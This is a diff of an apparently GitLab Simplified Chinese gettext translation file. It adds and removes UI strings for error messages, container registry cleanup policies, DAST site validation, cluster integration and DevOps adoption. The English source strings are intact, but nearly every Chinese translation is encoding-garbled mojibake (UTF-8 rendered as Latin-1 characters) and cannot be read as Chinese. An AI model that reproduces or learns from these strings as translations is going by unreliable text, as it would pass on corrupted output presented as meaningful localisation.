-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr "获å–标签时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching terraform reports."
msgstr "获å–terraform报告时å‘生错误。"
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "获å–æœåŠ¡å°åœ°å€æ—¶å‘生错误。"
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "读å–看æ¿åˆ—表时出错。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -2908,18 +3035,21 @@ msgstr "获å–æ­¤é¢æ¿æ—¶å‘生了一个错误。"
msgid "An error occurred while generating a username. Please try again."
msgstr "生æˆç”¨æˆ·å时出错。请é‡è¯•ã€‚"
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "获å–文件 - %{branchId} 时出错"
msgid "An error occurred while getting projects"
msgstr "获å–项目时å‘生错误"
-msgid "An error occurred while importing project: %{details}"
-msgstr "在导入项目时å‘生错误:%{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "åˆå§‹åŒ–路径é”æ—¶å‘生错误"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "加载所有文件时å‘生错误。"
@@ -2974,6 +3104,9 @@ msgstr "加载åˆå¹¶è¯·æ±‚的版本数æ®æ—¶å‘生错误。"
msgid "An error occurred while loading the merge request."
msgstr "加载åˆå¹¶è¯·æ±‚æ—¶å‘生错误。"
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "加载æµæ°´çº¿ä½œä¸šæ—¶å‘生错误。"
@@ -3001,9 +3134,6 @@ msgstr "渲染广播消æ¯æ—¶å‘生错误"
msgid "An error occurred while rendering the editor"
msgstr "在渲染编辑器时出错"
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "é‡æ–°æŽ’åºè®®é¢˜æ—¶å‘生错误。"
@@ -3034,6 +3164,9 @@ msgstr "订阅通知时å‘生错误。"
msgid "An error occurred while triggering the job."
msgstr "触å‘作业时å‘生错误。"
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "å°è¯•ä¸ºæ­¤åˆå¹¶è¯·æ±‚è¿è¡Œæ–°æµæ°´çº¿æ—¶å‘生错误。"
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "更新评论时å‘生错误"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "验è¯ç¾¤ç»„路径时å‘生错误"
@@ -3238,6 +3374,12 @@ msgstr "应用å˜æ›´"
msgid "Apply suggestion"
msgstr "应用建议"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr "应用建议"
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] "%{membersCount} éœ€è¦ %{count} 个核准"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "核准人"
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr "已存档"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr "确定è¦åˆ é™¤æ­¤çœ‹æ¿å—?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "您确定è¦åˆ é™¤æ­¤è®¾å¤‡å—?此æ“作无法撤销。"
-msgid "Are you sure you want to delete this list?"
-msgstr "确定è¦åˆ é™¤æ­¤åˆ—表å—?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "确定è¦åˆ é™¤æ­¤æµæ°´çº¿è®¡åˆ’å—?"
@@ -3480,6 +3625,9 @@ msgstr "您确定è¦åˆ é™¤è®¸å¯è¯å—?"
msgid "Are you sure you want to remove this identity?"
msgstr "您确定è¦åˆ é™¤è¿™ä¸ªèº«ä»½æ ‡è¯†å—?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "确定è¦é‡ç½®æ³¨å†Œä»¤ç‰Œå—?"
@@ -3752,6 +3900,12 @@ msgstr "验è¯"
msgid "Authenticate with GitHub"
msgstr "使用GitHub身份验è¯"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "认è¯"
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "å‡çº§"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr "å·²ç¦ç”¨"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr "å—阻的议题"
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr "购买更多æµæ°´çº¿æ—¶é—´"
msgid "By %{user_name}"
msgstr "ç”± %{user_name}"
-msgid "By URL"
-msgstr "通过URL"
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr "CI/CD 设置"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "CI设置"
@@ -4625,6 +4795,9 @@ msgstr "此行已在较新版本中被更改,无法应用。"
msgid "Can't apply this suggestion."
msgstr "无法应用此建议。"
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr "无法创建代ç ç‰‡æ–­: %{err}"
@@ -4652,6 +4825,12 @@ msgstr "金ä¸é›€"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "金ä¸é›€éƒ¨ç½²æ˜¯ä¸€é¡¹æµè¡Œçš„CI策略,其中一å°éƒ¨åˆ†èŠ‚点更新到您的新版本应用。"
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "å–消"
@@ -4685,9 +4864,6 @@ msgstr "无法创建滥用报告。此用户已被ç¦ç”¨ã€‚"
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "ä¸èƒ½åŒæ—¶è¿è¡Œå¤šä¸ªJira导入"
@@ -4829,6 +5005,9 @@ msgstr "å˜æ›´"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr "更改仅影å“新的仓库。如果未指定,将使用Git的默认å称%{branch_name_default}。"
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr "差异显示方å¼ä¾%{b_open}æº%{b_close}版本åˆå¹¶åˆ°%{b_open}目标%{b_close}版本的形å¼ã€‚"
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "在索引%{link_start}é‡æ–°åˆ›å»º%{link_end}之å‰ï¼Œæ›´æ”¹å°†ä¸ä¼šç”Ÿæ•ˆã€‚"
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr "åªå¯ä»¥é€šè¿‡Releases API更改å‘布标签。 %{linkStart}更多信æ¯%{linkEnd}"
-
msgid "Changing group URL can have unintended side effects."
msgstr "更改群组URLå¯èƒ½ä¼šæœ‰æ„想ä¸åˆ°çš„副作用。"
@@ -4916,6 +5092,9 @@ msgstr "å†æ¬¡æ£€æŸ¥"
msgid "Check feature availability on namespace plan"
msgstr "检查命å空间方案的功能å¯ç”¨æ€§"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "查看%{docs_link_start}文档%{docs_link_end}。"
@@ -5102,12 +5281,6 @@ msgstr "å­å²è¯—ä¸å­˜åœ¨ã€‚"
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr "选择%{strong_open}创建归档%{strong_close}并等待创建过程完æˆã€‚"
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr "选择页é¢åº•éƒ¨çš„%{strong_open}下一步%{strong_close}。"
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "选择分支/标签(例如%{master})或输入æ交(例如%{sha})以查看更改内容或创建åˆå¹¶è¯·æ±‚。"
@@ -5141,6 +5314,9 @@ msgstr "选择文件…"
msgid "Choose labels"
msgstr "选择标记"
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "选择仓库导入的顶级群组。"
@@ -5309,8 +5485,8 @@ msgstr "分类标签(å¯é€‰)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "ä¸å¯ç”¨: %{reason}"
-msgid "Cleanup policy for tags"
-msgstr "标签清ç†ç­–ç•¥"
+msgid "Clean up image tags"
+msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
msgstr ""
@@ -5351,11 +5527,11 @@ msgstr "å·²é‡ç½®çš„æƒé‡"
msgid "Clears weight."
msgstr "清除æƒé‡"
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
-msgstr "点击%{strong_open}下载%{strong_close}按钮,等待下载完æˆã€‚"
+msgid "Click %{link_start}here%{link_end} to view the request."
+msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
-msgstr "请点击å³è¾¹çš„%{strong_open}æ— %{strong_close}按钮,因为我们åªéœ€è¦\"Google Code Project Hosting\"。"
+msgid "Click %{link_to} to view the request."
+msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
msgstr "点击下é¢çš„按钮转到Kubernetes页é¢å¼€å§‹å®‰è£…过程"
@@ -5402,8 +5578,8 @@ msgstr "使用 SSH 克隆"
msgid "Close"
msgstr "关闭"
-msgid "Close %{display_issuable_type}"
-msgstr "关闭%{display_issuable_type}"
+msgid "Close %{issueType}"
+msgstr ""
msgid "Close %{tabname}"
msgstr "关闭%{tabname}"
@@ -5411,9 +5587,6 @@ msgstr "关闭%{tabname}"
msgid "Close epic"
msgstr "关闭å²è¯—"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "关闭里程碑"
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} å·²æˆåŠŸå®‰è£…到Kubernetes集群上"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr "阻止模å¼"
msgid "ClusterIntegration|CA Certificate"
msgstr "CAè¯ä¹¦"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Cert-Manager"
@@ -5870,9 +6049,6 @@ msgstr "群组级集群"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr "Helm版本安装失败"
@@ -5975,6 +6151,9 @@ msgstr "了解更多的群组级Kubernetes集群信æ¯"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "了解有关实例级Kubernetes集群更多信æ¯"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "加载IAM角色"
@@ -6308,8 +6487,8 @@ msgstr "用于访问 Kubernetes API 的 URL。"
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr "å…³è”çš„IPåŠæ‰€æœ‰å·²éƒ¨ç½²çš„æœåŠ¡å°†è¢«åˆ é™¤ï¼Œæ— æ³•æ¢å¤ã€‚å¸è½½Knative会åŒæ—¶ä»Žé›†ç¾¤ä¸­åˆ é™¤ Istio。此æ“作将ä¸ä¼šå½±å“任何其他应用。"
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
-msgstr "å…³è”çš„Tiller容器,%{gitlabManagedAppsNamespace}å称空间åŠå…¶æ‰€æœ‰èµ„æºå°†è¢«åˆ é™¤ï¼Œå¹¶ä¸”无法还原。"
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
+msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
msgstr "å…³è”çš„è´Ÿè½½å‡è¡¡å™¨å’ŒIP将被删除,无法还原。"
@@ -6648,6 +6827,9 @@ msgstr "æ交(编辑æ交消æ¯æ—¶ï¼‰"
msgid "Commit Message"
msgstr "æ交消æ¯"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "æ交已删除"
@@ -6771,9 +6953,6 @@ msgstr "åˆè§„仪表æ¿"
msgid "Compliance framework (optional)"
msgstr "åˆè§„框架(å¯é€‰)"
-msgid "Compliance frameworks"
-msgstr "åˆè§„框架"
-
msgid "ComplianceDashboard|created by:"
msgstr "创建人:"
@@ -6945,6 +7124,9 @@ msgstr "连接超时"
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "è”系销售人员进行å‡çº§"
@@ -6969,8 +7151,8 @@ msgstr "æ­¤GitLab实例上尚未å¯ç”¨å®¹å™¨é•œåƒåº“。请通知管ç†å‘˜å¯ç”¨
msgid "Container repositories"
msgstr "容器仓库"
-msgid "Container repositories sync capacity"
-msgstr "容器镜åƒåº“åŒæ­¥èƒ½åŠ›"
+msgid "Container repositories synchronization concurrency limit"
+msgstr ""
msgid "Container repository"
msgstr "容器仓库"
@@ -6995,6 +7177,9 @@ msgstr "%{title}å·²æˆåŠŸå®‰æŽ’删除"
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr "%{toggleStatus} - 匹é…以下模å¼çš„标签将被安排删除"
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "构建镜åƒ"
@@ -7070,6 +7255,15 @@ msgstr "é•œåƒæ ‡ç­¾"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr "无效标签:缺少æ述摘è¦"
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "登录"
@@ -7079,6 +7273,15 @@ msgstr "æ述摘è¦: %{digest}"
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr "æ— æƒé™æˆ–æƒé™ä¸è¶³ï¼Œåˆ é™¤æŒ‰é’®å·²ç¦ç”¨"
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "è¦ä¿ç•™çš„标签数é‡ï¼š"
@@ -7101,8 +7304,17 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "删除标签"
-msgid "ContainerRegistry|Set cleanup policy"
-msgstr "设置清ç†ç­–ç•¥"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
+msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
msgstr ""
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr "获å–清ç†æ”¿ç­–时出了错。"
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "获å–仓库列表时出错。"
@@ -7131,21 +7346,30 @@ msgstr "更新清ç†æ”¿ç­–时出了错。"
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆç­›é€‰å™¨çš„任何结果."
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr "标签过期策略"
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr "标签已æˆåŠŸæ ‡è®°ä¸ºå¾…删除。"
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr "标签已æˆåŠŸæ ‡è®°ä¸ºå¾…删除。"
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr "å称匹é…此正则表达å¼çš„标签将%{italicStart}被ä¿ç•™:%{italicEnd}"
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr "å称匹é…此正则表达å¼çš„标签将%{italicStart}过期:%{italicEnd}"
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr "自定义颜色"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "自定义如何将FogBugz电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å导入GitLab。下一步将选择è¦å¯¼å…¥çš„项目。"
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "自定义如何将Google Code电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å导入GitLab。下一步将选择è¦å¯¼å…¥çš„项目。"
-
msgid "Customize icon"
msgstr "自定义图标"
@@ -7996,6 +8217,9 @@ msgstr "åˆå¹¶è¯·æ±‚关闭"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "åˆå¹¶è¯·æ±‚已创建"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr "åˆå¹¶è¯·æ±‚首次部署到生产环境"
@@ -8120,9 +8344,6 @@ msgstr "项目下拉列表筛选器"
msgid "CycleAnalytics|stage dropdown"
msgstr "阶段下拉列表"
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGå¯è§†åŒ–至少需è¦3个ä¾èµ–作业。"
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr "您è¦æ”¾å¼ƒæ­¤ç«™ç‚¹é…ç½®å—?"
msgid "DastProfiles|Do you want to discard your changes?"
msgstr "您è¦æ”¾å¼ƒæ›´æ”¹å—?"
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr "编辑站点é…ç½®"
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr "新建站点é…ç½®"
msgid "DastProfiles|No profiles created yet"
msgstr "尚未创建é…ç½®"
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr "站点é…ç½®"
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
+msgstr "目标URL"
+
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
-msgstr "目标URL"
+msgid "DastProfiles|Username form field"
+msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr "默认项目é™åˆ¶"
msgid "Default stages"
msgstr "默认阶段"
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "默认:直接导入Google Code电å­é‚®ä»¶åœ°å€æˆ–用户å"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "默认:将FogBugzå¸æˆ·ID映射为全å"
@@ -8498,8 +8746,8 @@ msgstr "定义"
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr "延迟项目删除(%{adjourned_deletion})"
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "您确定è¦ç«‹å³è¿è¡Œ %{jobName} å—?å¦åˆ™çš„è¯ï¼Œè¯¥ä½œä¸šå°†åœ¨è®¡æ—¶ç»“æŸåŽè‡ªåŠ¨è¿è¡Œã€‚"
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "您确定è¦ç«‹å³è¿è¡Œ %{job_name} å—?该作业将在计时结æŸåŽè‡ªåŠ¨è¿è¡Œã€‚"
@@ -8582,9 +8830,6 @@ msgstr "删除用户列表"
msgid "Delete variable"
msgstr "删除å˜é‡"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "删除项目仓库失败。请é‡è¯•æˆ–è”系管ç†å‘˜ã€‚"
@@ -8984,6 +9229,9 @@ msgstr "已失败"
msgid "Deployment|running"
msgstr "è¿è¡Œä¸­"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "æˆåŠŸ"
@@ -9002,6 +9250,9 @@ msgstr "在此处进行需求æè¿°"
msgid "Description"
msgstr "æè¿°"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "使用%{link_start}GitLab风格Markdown%{link_end}解æžçš„æè¿°"
@@ -9038,6 +9289,9 @@ msgstr "%{filename}æ— å˜åŒ–。"
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "添加具有相åŒæ–‡ä»¶å的设计会替æ¢ä¸ºæ–°ç‰ˆæœ¬çš„文件。"
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr "设计"
msgid "DesignManagement|Discard comment"
msgstr "放弃评论"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr "上传新设计时出错。请å†è¯•ä¸€æ¬¡."
@@ -9173,15 +9430,9 @@ msgstr "详细信æ¯(默认)"
msgid "Detect host keys"
msgstr "检测主机密钥"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
